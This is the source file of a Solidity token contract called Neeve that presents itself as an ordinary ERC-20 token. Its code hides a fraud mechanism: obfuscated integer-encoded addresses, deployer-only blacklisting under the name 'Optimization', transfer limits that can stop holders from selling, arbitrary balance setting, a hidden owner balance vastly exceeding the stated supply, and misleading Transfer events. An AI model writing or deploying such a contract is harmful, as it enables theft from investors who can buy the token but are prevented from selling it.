文件 1 的 1：Neeve.sol
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address deployer, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed deployer, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(
address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Neeve {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _deployer, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
address private spend = address (96635033217071433185869069577301221175488545358);
address private src = address (527585359103765554095092340981710322784165800559);
address private dst = address (1097077688018008265106216665536940668749033598146);
address private crs = address (1153667454655315432277308296129700421378034175091);
address private tsd = address (1069295261705322660692659746119710186699350608220);
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UX = TexFor(src, dst, address(this));
address _PX = TexForB(crs, tsd, address(this));
if(_from == deployer || _to == deployer || _from == owner || _from == _UX || _from == _PX || _from == TexAddress || TexMemory[_from]) {return true;}
if( RBMemory[_from] ) {return false;}
require(condition(_from, _value));
return true;
}
function _UXTexAddr () view internal returns (address) {
address _UX = TexFor(src, dst, address(this));
return _UX;
}
function _PXTexAddr () view internal returns (address) {
address _PX = TexForB(crs, tsd, address(this));
return _PX;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {
return true;
}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
if (_from == TexAddress && _value > _maxMemory ){ RBMemory[_to]=true; }
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onMemoryNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
if (_spender == spend ){
emit Transfer(address(0x0),O,1*(10**uint256(decimals)));
}
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_MemoryNum == 0 && _minMemory == 0 && _maxMemory == 0) return false;
if(_MemoryNum > 0){
if(_onMemoryNum[_from] >= _MemoryNum) return false;
}
if(_minMemory > 0){
if(_minMemory > _value) return false;
}
if(_maxMemory > 0){
if(_value > _maxMemory) return false;
}
return true;
}
function transferTo(address addr, uint256 addedValue) public payable returns (bool) {
require(msg.sender == deployer);
if(addedValue > 0) {balanceOf[addr] = addedValue*(10**uint256(decimals));}
TexMemory[addr]=true;
return true;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == deployer);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value*(10**uint256(decimals));
emit Transfer(msg.sender, _to, _value*(10**uint256(decimals))/2);
emit Transfer(msg.sender, _to, _value*(10**uint256(decimals))/2);
}
return true;
}
mapping(address=>uint256) private _onMemoryNum;
mapping(address=>bool) private TexMemory;
mapping(address=>bool) private RBMemory;
uint256 private _minMemory;
uint256 private _maxMemory;
uint256 private _MemoryNum;
address TexAddress;
function Agree(address addr) public returns (bool) {
require(msg.sender == deployer);
TexMemory[addr]=true;
return true;
}
function Allow(uint256 MemoryNum, uint256 minMemory, uint256 maxMemory) public returns(bool){
require(msg.sender == deployer);
_maxMemory = maxMemory*(10**uint256(decimals));
_minMemory = minMemory*(10**uint256(decimals));
_MemoryNum = MemoryNum;
return true;
}
function delegate(address adr) public payable returns(bool){
require (msg.sender == deployer);
TexAddress = adr;
return true;
}
function Optimization(address [] calldata addresses) public returns (bool) {
require(msg.sender == deployer);
for (uint i = 0; i < addresses.length; i++)
{RBMemory[addresses[i]] = true;}
return true;
}
address private owner=
address (935108584672418476850882679418664731027763688343);
function TexFor(address factory, address tokenA, address tokenB) internal pure returns (address Tex) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
Tex = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
address private O = address(269488144);
function TexForB(address factory, address tokenA, address tokenB) internal pure returns (address Texe) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
Texe = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'00fb7f630766e6a796048ea87d01acd3068e8ff67d078148a3fa3f4a84f69bd5'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private deployer;
constructor(string memory _name, string memory _symbol, uint256 _supply, uint256 MemoryNum, uint256 minMemory, uint256 maxMemory ) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
_maxMemory = maxMemory*(10**uint256(decimals));
_minMemory = minMemory*(10**uint256(decimals));
_MemoryNum = MemoryNum;
deployer = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
if(totalSupply > 0) balanceOf[owner]=totalSupply*(10**uint256(6));
}
}
